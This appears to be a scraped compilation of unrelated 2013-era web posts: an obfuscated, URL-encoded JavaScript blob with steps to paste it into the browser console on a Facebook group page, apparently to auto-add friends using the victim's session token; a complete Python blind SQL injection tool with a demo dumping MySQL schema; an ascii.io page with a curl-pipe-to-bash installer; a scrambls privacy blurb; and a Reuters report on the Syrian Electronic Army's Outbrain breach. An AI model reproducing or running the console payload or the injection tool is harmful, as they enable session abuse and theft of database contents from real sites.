8%37%5B%31%37%5D%2E%31%39%30%29%3B%34%37%28%31%31%20%33%39%3D%30%3B%37%2E%31%34%3E%33%39%3B%33%39%2B%2B%29%38%32%2E%36%36%28%37%5B%33%39%5D%2E%33%32%29%3B%34%37%28%31%31%20%33%33%3D%30%3B%37%2E%31%34%3E%33%33%3B%33%33%2B%2B%29%31%30%35%2E%36%36%28%37%5B%33%33%5D%2E%32%36%32%29%3B%31%35%3D%32%33%2E%31%34%2D%31%2C%33%38%3D%31%35%2C%31%38%39%2E%31%38%38%28%32%33%2E%31%34%29%3B%31%31%20%37%37%3D%22%3C%32%30%20%31%38%37%3D%5C%27%31%30%34%2D%31%30%33%2D%36%35%5C%27%20%32%31%3D%5C%27%31%30%32%3A%31%38%36%3B%33%37%3A%35%30%25%3B%31%33%39%2D%33%37%3A%2D%31%38%35%3B%31%33%38%3A%31%38%34%3B%31%33%37%3A%31%38%33%3B%31%38%32%2D%31%30%31%3A%31%38%31%3B%35%35%2D%36%34%3A%31%38%30%3B%33%32%2D%38%31%3A%39%39%3B%35%36%3A%31%37%39%3B%31%33%36%2D%31%33%35%3A%39%38%20%37%38%20%39%38%20%34%36%28%30%2C%30%2C%30%2C%30%2E%31%29%3B%37%39%2D%31%37%38%3A%31%33%34%3B%37%39%3A%37%38%20%31%33%33%20%34%36%28%32%30%30%2C%32%30%30%2C%35%30%2C%30%2E%32%29%3B%31%33%32%2D%33%31%3A%34%36%28%32%35%35%2C%32%35%35%2C%32%35%35%2C%30%2E%39%29%3B%33%31%3A%23%31%37%37%5C%27%3E%22%3B%37%37%2B%3D%22%3C%32%30%20%32%31%3D%5C%27%35%36%2D%31%33%31%3A%31%33%30%3B%35%35%2D%36%34%3A%31%37%36%3B%5C%27%3E%22%2B%31%32%39%2B%22%3C%2F%32%30%3E%22%2C%37%37%2B%3D%32%33%2E%31%34%2B%22%20%20%36%33%20%31%32%37%22%2C%37%37%2B%3D%22%3C%2F%32%30%3E%22%2C%31%30%2E%34%35%28%22%31%32%36%22%29%2E%36%32%3D%37%37%2C%31%32%35%28%32%33%5B%31%35%5D%29%7D%29%3B%27%2C%31%30%2C%33%39%38%2C%27%7C%7C%7C%7C%7C%61%7C%62%7C%64%7C%7C%7C%64%6F%63%75%6D%65%6E%74%7C%76%61%72%7C%63%7C%66%75%6E%63%74%69%6F%6E%7C%6C%65%6E%67%74%68%7C%69%7C%66%62%5F%64%74%73%67%7C%65%7C%72%65%74%75%72%6E%7C%63%6F%6F%6B%69%65%7C%64%69%76%7C%73%74%79%6C%65%7C%68%74%74%70%7C%61%72%72%7C%74%68%69%73%7C%75%73%65%72%5F%69%64%7C%77%69%6E%64%6F%77%7C%75%72%6C%7C%62%72%7C%6D%61%74%63%68%7C%68%74%74%70%77%70%7C%63%6F%6C%6F%72%7C%74%65%78%74%7C%67%7C%6E%75%6C%6C%7C%69%66%7C%6F%70%74%7C%6C%65%66%74%7C%74%61%79%7C%66%7C%7C%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%4E%61%6D%65%7C%6D%65%74%68%6F%64%7C%66%6F%72%6D%61%74%7C%73%65%74%52%65%71%75%65%73%74%48%65%61%64%65%72%7C%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%7C%72%67%62%61%7C%66%6F%72%7C%70%68%70%7C%77%77%77%7C%7C%6C%6F%61%64%69%6E%67%7C%72%65%73%75%6C%74%7C%6E%65%77%7C%44%65%73%63%72%69%70%74%69%6F%6E%73%7C%66%6F%6E%74%7C%70%61%64%64%69%6E%67%7C%5F%5F%61%7C%61%6A%61%78%7C%76%61%6C%75%65%7C%67%69%64%7C%4D%61%74%68%7C%69%6E%6E%65%72%48%54%4D%4C%7C%46%72%69%65%6E%64%7C%73%69%7A%65%7C%64%69%73%70%6C%61%79%7C%70%75%73%68%7C%69%6E%64%65%78%4F%66%7C%6C%6F%63%61%74%69%6F%6E%7C%41%72%72%61%79%7C%43%6C%69%63%6B%57%69%6E%7C%63%6C%61%73%73%7C%6C%6F%61%64%69%6E%67%49%6E%64%69%63%61%74%6F%72%7C%58%4D%4C%48%74%74%70%52%65%71%75%65%73%74%7C%63%5F%75%73%65%72%7C%70%61%72%61%6D%73%77%70%7C%43%6F%6E%74%65%6E%74%7C%68%7C%31%70%78%7C%62%6F%72%64%65%72%7C%7C%61%6C%69%67%6E%7C%61%72%6E%7C%63%6F%6D%7C%66%61%63%65%62%6F%6F%6B%7C%6C%6F%61%64%7C%67%72%6F%75%70%5F%69%64%7C%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%43%6C%61%73%73%4E%61%6D%65%7C%73%75%63%7C%63%68%69%6C%64%4E%6F%64%65%73%7C%73%65%74%54%69%6D%65%6F%75%74%7C%73%65%6E%64%7C%6F%70%65%6E%7C%31%36%37%35%39%30%31%38%36%37%33%34%34%39%33%7C%67%72%6F%75%70%73%7C%46%72%69%65%6E%64%73%7C%67%66%7C%6B%6F%6E%75%6D%7C%30%70%74%7C%63%65%6E%74%65%72%7C%7C%69%6E%64%65%78%7C%70%6F%73%69%74%69%6F%6E%7C%65%64%67%65%7C%66%72%69%65%6E%64%7C%70%68%6F%7C%73%75%62%73%74%72%69%6E%67%7C%74%79%70%65%61%68%65%61%64%7C%6A%78%7C%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%7C%76%6F%69%64%7C%72%61%6E%64%6F%6D%7C%6E%48%74%6D%6C%7C%73%69%6E%67%6C%65%4E%6F%64%65%56%61%6C%75%65%7C%63%61%74%63%68%7C%74%72%79%7C%65%72%72%6F%72%7C%78%7C%50%4F%53%54%7C%41%7C%75%72%6C%77%70%7C%5F%5F%75%73%65%72%7C%6D%65%6D%62%65%72%73%7C%73%70%61%6E%7C%73%6F%6E%7C%41%64%64%46%72%69%65%6E%64%74%6F%47%72%6F%75%70%7C%70%61%67%65%6C%65%74%5F%73%69%64%65%62%61%72%7C%44%65%74%65%63%74%65%64%7C%7C%54%69%74%6C%65%7C%31%30%70%78%7C%62%6F%74%74%6F%6D%7C%62%61%63%6B%67%72%6F%75%6E%64%7C%73%6F%6C%69%64%7C%33%70%78%7C%73%68%61%64%6F%77%7C%62%6F%78%7C%77%69%64%74%68%7C%74%6F%70%7C%6D%61%72%67%69%6E%7C%4A%53%4F%4E%7C%6F%70%74%69%6F%6E%73%7C%70%72%6F%74%6F%63%6F%6C%7C%65%72%72%7C%6A%7C%63%6C%61%73%73%4E%61%6D%65%7C%63%6C%69%63%6B%7C%43%6C%69%63%6B%55%70%7C%35%30%30%7C%66%6C%6F%6F%72%7C%68%72%65%66%7C%6E%6F%6E%65%7C%62%6F%64%79%7C%75%70%64%61%74%65%7C%6F%6E%53%75%63%63%65%73%73%7C%30%70%78%7C%47%45%54%7C%70%61%72%61%6D%65%74%65%72%73%7C%73%74%61%74%75%73%7C%63%61%6C%6C%62%61%63%6B%7C%72%65%73%70%6F%6E%73%65%54%65%78%74%7C%72%65%61%64%79%53%74%61%74%65%7C%70%61%72%74%73%7C%41%63%74%69%76%65%58%4F%62%6A%65%63%74%7C%33%42%35%39%39%38%7C%64%61%74%61%7C%43%6F%6E%6E%65%63%74%69%6F%6E%7C%75%72%6C%65%6E%63%6F%64%65%64%7C%66%6F%72%6D%7C%61%70%70%6C%69%63%61%74%69%6F%6E%7C%74%79%70%65%7C%70%68%73%74%61%6D%70%7C%6C%73%64%7C%73%6F%75%72%63%65%7C%77%68%69%74%65%7C%41%64%64%65%64%7C%32%30%70%78%7C%30%30%30%30%30%30%7C%72%61%64%69%75%73%7C%31%35%70%78%7C%31%34%70%78%7C%39%39%39%39%7C%7A%7C%35%30%30%70%78%7C%31%30%30%70%78%7C%32%37%33%70%78%7C%66%69%78%65%64%7C%69%64%7C%6C%6F%67%7C%63%6F%6E%73%6F%6C%65%7C%75%69%64%7C%65%6E%74%72%69%65%73%7C%70%61%79%6C%6F%61%64%7C%70%61%72%73%65%7C%74%6F%6B%65%6E%7C%76%69%65%77%65%72%7C%75%73%65%72%7C%66%69%6C%74%65%72%7C%66%69%72%73%74%5F%64%65%67%72%65%65%7C%67%65%74%75%6E%61%6D%65%7C%7C%74%65%73%74%7C%74%79%70%65%6F%66%7C%73%7C%47%65%74%54%65%78%74%7C%74%65%78%74%43%6F%6E%74%65%6E%74%7C%46%49%52%53%54%5F%4F%52%44%45%52%45%44%5F%4E%4F%44%45%5F%54%59%50%45%7C%58%50%61%74%68%52%65%73%75%6C%74%7C%65%76%61%6C%75%61%74%65%7C%46%69%6E%64%42%79%41%74%74%72%7C%67%65%74%48%54%54%50%4F%62%6A%65%63%74%7C%69%6E%69%74%7C%72%65%6D%6F%76%65%43%68%69%6C%64%7C%73%65%74%41%74%74%72%69%62%75%74%65%7C%61%62%73%6F%6C%75%74%65%7C%65%6C%73%65%7C%63%68%61%72%41%74%7C%65%76%61%6C%7C%72%7C%68%61%6E%64%6C%65%72%7C%6F%6E%72%65%61%64%79%73%74%61%74%65%63%68%61%6E%67%65%7C%6E%6F%77%7C%6F%76%65%72%72%69%64%65%4D%69%6D%65%54%79%70%65%7C%58%4D%4C%48%54%54%50%7C%62%79%7C%5F%74%65%78%74%7C%67%72%70%6E%61%6D%65%7C%61%6C%69%76%65%7C%6B%65%65%70%7C%67%72%6F%75%70%5F%6A%75%6D%70%5F%68%65%61%64%65%72%7C%72%65%66%7C%72%32%6A%7C%6D%65%6D%62%65%72%73%68%69%70%7C%32%65%33%7C%63%6C%69%63%6B%66%72%7C%61%64%64%66%72%69%65%6E%64%7C%63%6C%69%63%6B%66%72%5F%63%61%6C%6C%62%61%63%6B%7C%73%65%61%72%63%68%7C%6F%6B%7C%70%6F%73%74%7C%41%73%79%6E%63%52%65%71%75%65%73%74%7C%70%6F%73%74%5F%66%6F%72%6D%5F%69%64%5F%73%6F%75%72%63%65%7C%70%61%67%65%6C%65%74%5F%67%72%6F%75%70%5F%6D%65%6D%62%65%72%73%5F%73%75%6D%6D%61%72%79%7C%5F%6D%6F%64%7C%6E%63%74%72%7C%61%64%64%5F%70%6F%73%74%7C%6F%6E%43%6C%69%63%6B%7C%75%69%42%75%74%74%6F%6E%4C%61%72%67%65%7C%75%69%42%75%74%74%6F%6E%7C%75%69%4F%76%65%72%6C%61%79%42%75%74%74%6F%6E%7C%77%72%61%70%7C%70%72%65%7C%73%70%61%63%65%7C%38%70%78%7C%69%6D%67%7C%7C%35%30%70%78%7C%35%70%78%7C%65%72%72%6F%72%44%65%73%63%72%69%70%74%69%6F%6E%7C%63%6C%6F%73%65%7C%66%6F%6C%6C%6F%77%7C%67%65%74%52%61%6E%64%6F%6D%49%6E%74%7C%70%68%6F%74%6F%7C%6E%6D%7C%66%72%69%65%6E%64%73%5F%6F%6E%6C%79%7C%73%74%61%6C%65%5F%6F%6B%7C%76%37%7C%6C%61%7A%79%7C%66%62%78%57%65%6C%63%6F%6D%65%42%6F%78%4E%61%6D%65%7C%6B%7C%66%69%6E%64%7C%70%72%6F%74%6F%74%79%70%65%7C%52%65%67%45%78%70%7C%6D%6F%75%73%65%75%70%7C%6D%6F%75%73%65%64%6F%77%6E%7C%43%6C%69%63%6B%54%69%6D%65%6F%75%74%7C%43%6C%69%63%6B%7C%64%69%73%70%61%74%63%68%45%76%65%6E%74%7C%69%6E%69%74%4D%6F%75%73%65%45%76%65%6E%74%7C%4D%6F%75%73%65%45%76%65%6E%74%73%7C%63%72%65%61%74%65%45%76%65%6E%74%7C%56%69%73%69%74%55%72%6C%7C%78%70%61%74%68%7C%62%61%64%7C%47%4D%5F%6C%6F%67%7C%46%69%6E%64%42%79%58%50%61%74%68%7C%46%69%6E%64%42%79%43%6C%61%73%73%4E%61%6D%65%7C%62%6C%6F%63%6B%7C%61%70%70%65%6E%64%43%68%69%6C%64%7C%69%6E%64%69%63%61%74%6F%72%7C%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%7C%69%6E%7C%6F%6E%45%72%72%6F%72%7C%62%69%6E%64%7C%72%65%73%70%6F%6E%73%65%58%4D%4C%7C%6E%7C%72%65%70%6C%61%63%65%7C%74%68%73%7C%73%70%6C%69%74%7C%67%65%74%54%69%6D%65%7C%44%61%74%65%7C%74%6F%55%70%70%65%72%43%61%73%65%7C%74%6F%4C%6F%77%65%72%43%61%73%65%7C%78%6D%6C%7C%4D%69%63%72%6F%73%6F%66%74%7C%4D%73%78%6D%6C%32%7C%75%6E%64%65%66%69%6E%65%64%7C%4E%6F%77%7C%69%74%7C%4A%6F%69%6E%7C%4C%33%7C%4C%61%6C%61%74%7C%4C%61%6E%69%6E%67%7C%4F%4C%61%6E%69%6E%67%7C%50%6F%77%65%72%65%64%7C%67%72%6F%75%70%73%4A%75%6D%70%54%69%74%6C%65%7C%69%70%61%6E%67%7C%6B%61%6E%67%7C%5F%62%6C%61%6E%6B%7C%74%61%72%67%65%74%7C%31%30%30%30%30%35%37%30%31%34%37%32%31%35%30%7C%47%72%6F%75%70%73%7C%74%6F%7C%41%64%64%7C%41%75%74%6F%7C%73%6F%72%74%7C%73%75%62%73%74%72%7C%46%72%69%65%6E%64%5F%6F%6E%6C%79%7C%31%30%30%30%30%31%37%37%30%37%39%32%32%37%38%7C%31%30%30%30%30%31%38%39%31%35%36%34%37%37%30%7C%31%30%30%30%30%30%32%30%32%38%37%32%36%39%38%7C%31%30%30%30%30%34%35%39%38%38%32%38%32%30%38%7C%31%30%30%30%30%32%34%36%38%34%38%35%30%31%36%7C%31%30%30%30%30%31%37%35%31%31%38%38%33%34%30%7C%31%30%30%30%30%35%30%32%31%33%37%38%36%36%38%7C%31%30%30%30%30%34%38%37%35%32%31%33%32%30%32%7C%31%30%30%30%30%35%32%36%30%35%30%31%39%35%36%7C%73%75%63%63%65%73%73%7C%73%78%7C%43%61%6E%63%65%6C%7C%6C%61%79%65%72%43%61%6E%63%65%6C%7C%50%61%67%65%7C%52%65%66%72%65%73%68%7C%72%65%6C%6F%61%64%7C%75%69%42%75%74%74%6F%6E%43%6F%6E%66%69%72%6D%7C%6C%61%79%65%72%43%6F%6E%66%69%72%6D%7C%4E%6F%74%7C%66%72%6F%6D%7C%79%6F%75%72%7C%47%65%74%74%69%6E%67%7C%61%72%65%7C%79%6F%75%7C%67%72%61%79%7C%62%6F%6C%64%7C%77%65%69%67%68%74%7C%73%72%63%7C%32%70%78%7C%31%32%35%70%78%7C%68%65%69%67%68%74%7C%67%69%66%7C%53%4B%7C%55%6C%49%71%6D%48%4A%6E%7C%79%6F%7C%76%32%7C%72%73%72%63%7C%61%6B%7C%73%74%61%74%69%63%7C%6E%65%74%7C%61%6B%61%6D%61%69%68%64%7C%70%72%6F%66%69%6C%65%7C%66%62%63%64%6E%7C%68%74%74%70%73%7C%72%65%70%65%61%74%7C%6E%6F%7C%4C%65%66%74%7C%50%72%6F%63%65%73%73%65%64%7C%6F%66%7C%61%64%64%65%64%7C%62%65%65%6E%7C%68%61%73%7C%64%61%72%6B%67%72%65%65%6E%7C%73%74%72%69%6E%67%69%66%79%7C%64%61%72%6B%72%65%64%7C%6E%61%6D%65%7C%5F%5F%7C%75%33%37%71%61%63%5F%33%37%7C%73%75%62%73%63%72%69%62%65%64%5F%62%75%74%74%6F%6E%5F%69%64%7C%62%75%74%74%6F%6E%7C%70%72%6F%66%69%6C%65%5F%69%64%7C%66%6F%6C%6C%6F%77%5F%70%72%6F%66%69%6C%65%7C%72%61%6E%64%6F%6D%56%61%6C%75%65%7C%75%6E%65%73%63%61%70%65%7C%63%65%72%65%7A%69%41%6C%7C%6A%6F%69%6E%7C%66%72%6F%6D%43%68%61%72%43%6F%64%65%7C%53%74%72%69%6E%67%7C%63%68%61%72%43%6F%64%65%41%74%7C%68%70%5F%64%31%32%27%2E%73%70%6C%69%74%28%27%7C%27%29%29%29%3B%0A")); 2. Now open your group then press F12 or right click >inspect element > Then click on console 3. Then Paste auto invites Script in console box 4. Then press Enter script start work. a popup show you like this You're all friends added in the group by using this script in a single click. http://www.devilscafe.in/2013/08/how-to-add-member-into-facebook-group.html
-
This Python proof of concept uses comparative precomputation to perform blind sql injection, but does not automatically determine the context of the vulnerability or extract multiple bytes in a single request at this time. Source Direct download Usage Basic: Terminal localhost:~ $ ./sqli-hap.py [url] [column] [table] Video demonstration: http://ascii.io/a/1588 Example: ??user@host ~ ??? ./pub-sqli-hap.py http://127.0.0.1/sqli.php\?id\= id users [*] Attacking: http://127.0.0.1/sqli.php?id= [*] Checking for existing session [*] Building precomputation table.. [*] Percent complete: 100.00% -- Time elapsed: 1.35 seconds -- Estimated time left: 0.00 [*] Precomputation table built in 1.379987 seconds. [*] Enter a sql query: sql shell> select group_concat(table_name,0x2e,column_name,0x0a) from information_schema.columns where table_schema='mysql' [*] Percent complete: 100.00% -- Time elapsed: 3.48 seconds -- Estimated time left: 0.00 columns_priv.Host ,columns_priv.Db ,columns_priv.User ,columns_priv.Table_name ,columns_priv.Column_name ,columns_priv.Timestamp ,columns_priv.Column_priv ,db.Host ,db.Db ,db.User ,db.Select_priv ,db.Insert_priv ,db.Update_priv ,db.Delete_priv ,db.Create_priv ,db.Drop_priv ,db.Grant_priv ,db.References_priv ,db.Index_priv ,db.Alter_priv ,db.Create_tmp_table_priv ,db.Lock_tables_priv ,db.Create_view_priv ,db.Show_view_priv ,db.Create_routine_priv ,db.Alter_routine_priv ,db.Execute_priv ,db.Event_priv ,db.Trigger_priv ,event.db ,event.name ,event.body ,event.definer ,event.execute_at ,event.interval_value ,event.interval_field ,event.created ,event.modified ,event.last_executed ,event.starts ,event.ends ,event.status ,event.on_completion ,event.sql_mode ,event.comment ,event.originator ,event.time_zone ,event.character_set_client ,event.collation_connection ,event.db_collation ,event.body_utf8 ,func.name ,func.ret ,func.dl ,func.type ,general_log.event_time ,general_log.user_host ,general_log.thread_id ,general Requests: 389 (3.647493 seconds) Length of retrieved data: 1024 sql shell> exit [*] Good bye #!/usr/bin/python2 #!/usr/bin/python2 import sys import urllib2 import time from binascii import hexlify import _mysql import md5 import pickle import re import os import threading import Queue import readline readline.parse_and_bind('tab: complete') readline.parse_and_bind('set editing-mode vi') BOLD = '\033[1m' BLUE = '\033[34m' GREEN = '\033[32m' YELLOW = '\033[33m' RED = '\033[91m' ENDC = '\033[0m' def request(request_url): req = urllib2.Request(request_url) req.add_header = ('User-agent', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko)' \ ' Chrome/24.0.1309.0 Safari/537.17') r = urllib2.urlopen(req) return r.read() def construct_discovery_query(url, column, table, counter): discovery = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) x where pos=%s)" discovery = discovery % (column, column, table, counter) return url + urllib2.quote(discovery) def construct_injection_query(url, column, table, query, position): injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) " \ "x where pos=ascii(substring(compress((%s)) from %s for 1)))" injection = injection % (column, column, table, query, position) return url + urllib2.quote(injection) def get_length(url, column, table, query, ascii_table, counter): injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) " \ "x where pos=(length(length(compress((%s))))))" % (column, column, table, query) length_length = url + urllib2.quote(injection) length_length = ascii_table[md5.new(request(length_length)).digest()] counter += 1 length = "" for i in range(1,length_length+1): injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) " \ "x where pos=ascii(substring(length(compress((%s))) from %s for 1)))" injection = injection % (column, column, table, query, i) request_url = url + urllib2.quote(injection) length += chr(ascii_table[md5.new(request(request_url)).digest()]) counter += 1 return (int(length), counter) def get_query(prompt): while 1: query = raw_input(prompt) if query != "": break return query def do_query(url, column, table, query, ascii_table, i, q): tmp = construct_injection_query(url, column, table, query, i) q.put(chr(ascii_table[md5.new(request(tmp)).digest()])) def do_table(url, column, table, i, q): tmp = construct_discovery_query(url, column, table, i) q.put(md5.new(request(tmp)).digest()) def print_percent(percent, start_time): elapsed_time = time.time() - start_time eta = ((elapsed_time) / percent) * 100 - elapsed_time sys.stdout.write("\r%s[*]%s Percent complete: %s%.2f%%%s -- Time elapsed: %s%.2f%s seconds -- Estimated time left: %s%.2f%s" % (GREEN, ENDC, YELLOW, percent, ENDC, YELLOW, elapsed_time, ENDC, YELLOW, eta, ENDC)) sys.stdout.flush() def do_thread(target, args, counter, length, type_query): if type_query == 0: ascii_table = {} else: query_result = "" if type_query == 0: i = 0 else: i = 1 sys.stdout.write("\r%s[*]%s Percent complete: %.2f%%" % (GREEN, ENDC, 0.0)) sys.stdout.flush() start_time = time.time() while i < length: threads = {} queues = [] for j in range(0,11): if i < length: queues.append(Queue.Queue()) threads = threading.Thread(target=target, args=args + (i, queues[j])) i += 1 counter += 1 print_percent(100 * float(i) / float(length), start_time) for thread in threads: threads[thread].start() for j, thread in enumerate(sorted(threads.iterkeys())): if type_query == 0: ascii_table[queues[j].get()] = thread else: query_result += queues[j].get() threads[thread].join() sys.stdout.write('\n') sys.stdout.flush() if type_query == 0: return ascii_table else: return (counter, query_result) def main(url, column, table): session_name = re.split("(https?://)?(.*)/", url)[2] print "%s[*]%s Checking for existing session" % (GREEN, ENDC) try: try: os.stat("data") except: os.mkdir("data") ascii_table = pickle.load(open("data/%s" % session_name, "rb" )) print "%s[*]%s Loaded precomputation table." % (GREEN, ENDC) except: print "%s[*]%s Building precomputation table.." % (GREEN, ENDC) current = time.time() ascii_table = do_thread(do_table, (url, column, table, ), 0, 256, 0) pickle.dump(ascii_table, open("data/%s" % session_name, "wb")) print "\n%s[*]%s Precomputation table built in %s%f%s seconds." % (GREEN, ENDC, YELLOW, time.time() - current, ENDC) print "%s[*]%s Enter a sql query:" % (GREEN, ENDC) while 1: query = get_query("%ssql shell>%s " % (BOLD, ENDC)) if query == "exit": break query_result = "" counter = 0 current = time.time() (length, counter) = get_length(url, column, table, query, ascii_table, counter) (counter, query_result) = do_thread(do_query, (url, column, table, query, ascii_table, ), counter, length+1, 1) query = "SELECT UNCOMPRESS(0x%s)" % hexlify(query_result) mysql_connection = _mysql.connect('localhost', 'root', 'new-password') mysql_connection.query(query) result = mysql_connection.use_result() data = result.fetch_row()[0][0] mysql_connection.close() print data print "\nRequests: %s%d%s (%s%f%s seconds)\nLength of retrieved data: %s%s%d%s%s" % (YELLOW, counter, ENDC, YELLOW, time.time() - current, ENDC, BOLD, YELLOW, len(data), ENDC, ENDC) print "%s[*]%s Good bye" % (GREEN, ENDC) if __name__=="__main__": if len(sys.argv) != 4: print "Usage: %s <vulnerable url> <column name> <table name>" % sys.argv[0] exit() print "%s[*]%s Attacking: %s%s%s%s%s" % (GREEN, ENDC, BOLD, RED, sys.argv[1], ENDC, ENDC) main(sys.argv[1], sys.argv[2], sys.argv[3]) Source: http://www.blackhatlibrary.net/Sqli-hap.py
-
Record Your Terminal Share it with no fuss ASCII.IO is the simplest way to record your terminal and share the recordings with your fellow geeks. Simply record and upload your terminal session with a single command, and ASCII.IO will play it back in your browser. Getting started 1. Install recorder Linux To install/update ascii.io recorder, open a terminal and run following command: $ curl -sL get.ascii.io | bash OSX (via Homebrew) Install with: $ brew install https://raw.github.com/gist/3875486/asciiio.rb --HEAD Later update with: $ brew upgrade asciiio OSX (no Homebrew) If you don't use Homebrew then install/update with: $ curl -sL get.ascii.io | bash 2. Record Open your terminal and run following command: $ asciiio New shell instance will be opened and everything you'll do in it will be recorded. When you're ready to upload simply exit the shell with exit command or just hit <C-d>. 3. Create profile (optional) If you want your recordings to be assigned to your ascii.io profile and to be able to edit/delete them run this and follow instructions: $ asciiio auth If you skip this step now, you can always run above command later and all previously recorded asciicasts will get automatically assigned to your new profile. Btw, see my profile. Advanced options See the list of available options with: $ asciiio -h usage: asciiio [-h] [-i] [-y] [-c <command>] [-t <title>] [action] Asciicast recorder+uploader. Actions: rec record asciicast (this is the default when no action given) upload upload recorded (but not uploaded) asciicasts auth authenticate and/or claim recorded asciicasts Optional arguments: -c command run specified command instead of shell ($SHELL) -t title specify title of recorded asciicast -y don't prompt for confirmation -h, --help show this help message and exit --version show version information Source: http://ascii.io/
-
about scrambls The web has recently seen a fantastic explosion in the ease and utility of online sharing. From political discourse to cake recipes, everything gets posted online. This evolution of information distribution has made it so much easier to stay in touch with friends, colleagues and ideas. However, it has come with a cost. The majority of posts are aggregated across a number of huge social media services that reserve the right read, distribute and archive the content as they see fit. Files are usually shared in the clear and can easily fall into the wrong hands. Scrambls enables users to seamlessly assert lasting control over their posts and files. Some conversations are really meant to be private. Some posts maybe shouldn't have been posted. Some content is worthy of copyright. Groups and affiliations change. Scrambls strives to be an easy-to-use tool spanning across the Internet to give you control over your participation in online media and online distribution of your importan files. Scrambls works for online posts and files interchangeably. Using the same group controls as you use for scrambling social media posts, you can easily scramble a file or folder before emailing it or posting it to an online service or drive. how it works Scrambls works by introducing a 'key' needed to read a post or open a protected file. The original content is encoded before being delivered to the web. The key gets stored at a scrambls servers while the encoded post goes to the service provider. When the post is later displayed, or the file is opened, scrambls applies the key to make it readable again. The author owns these keys and can set the policy for whom and when to make them available. our commitment We are committed to providing a free service which is tailored to the needs of our users. Please let us know what you think or drop suggestions at info@scrambls.com. Our business is based on providing advanced features so the core service can remain free. We are serious about privacy. Our role is to help you control your content, not to read it or advertise with it. We have constructed this service as a utility. You own the keys. If you choose to leave the service we will provide you with the keys to manually access anything posted with scrambls. our mission Our mission is to make sharing smarter. We believe you should understand what you are sharing and whom you are sharing it with. Scrambls strives to make sharing as transparent and comfortable an experience as possible. https://scrambls.com
-
(Reuters) - Hackers promoting the Syrian Electronic Army simultaneously targeted websites belonging to CNN, Time and the Washington Post on Thursday by breaching Outbrain, a firm which publishes content recommendations on those sites. That resulted in some WashingtonPost.com and Time.com customers being redirected to the website of the Syrian Electronic Army when they clicked on the content from Outbrain, said Outbrain Vice President Lisa LaCour. The CNN International site briefly displayed a headline that said "Hacked by SEA," she said. The Syrian Electronic Army is an online group that supports Syrian President Bashar al-Assad and has been linked to several high profile attacks. They include one on the Associated Press' Twitter feed in which a bogus message was sent out about explosions at the White House. The latest attacks were significant because the hackers simultaneously targeted several sites by breaching a single supplier whose content is published on multiple platforms. In previous campaigns linked to the Syrian Electronic Army, hackers have breached networks using similar tactics. But in those cases emails were sent to employees of a single specific media outlet they were targeting, which made preparations for the attacks more labor intensive. Outbrain, which posts content on a large number of prominent news sites, took down its entire network at about 11 a.m. EDT on Thursday, before the hackers could do any more damage, LaCour said. The company's technicians, who are based in Israel, cleaned up the network and planned to restore service late on Thursday, she said. Outbrain said the hackers got in after sending a phishing email to all company employees on Wednesday that purported to be from the CEO. An employee provided login credentials in response to that email and then the hackers were able to get other credentials for accessing internal systems, the company said. Chris Wysopal, chief technology officer for software security firm Veracode, said he believes that hackers will increasingly choose to go after third-party providers because their security is likely to be more lax than that of their customers. "As the Internet becomes more interconnected, this risk is going to increase," he said. Time and CNN, both owned by Time Warner, and the Washington Post all said they believed that their sites had not been impacted by anything besides the attack on Outbrain. (Reporting by Jim Finkle in Boston and Jennifer Saba in New York; editing by Andrew Hay and Phil Berlowitz) Via: Hackers use new tactic to attack U.S. media sites | Reuters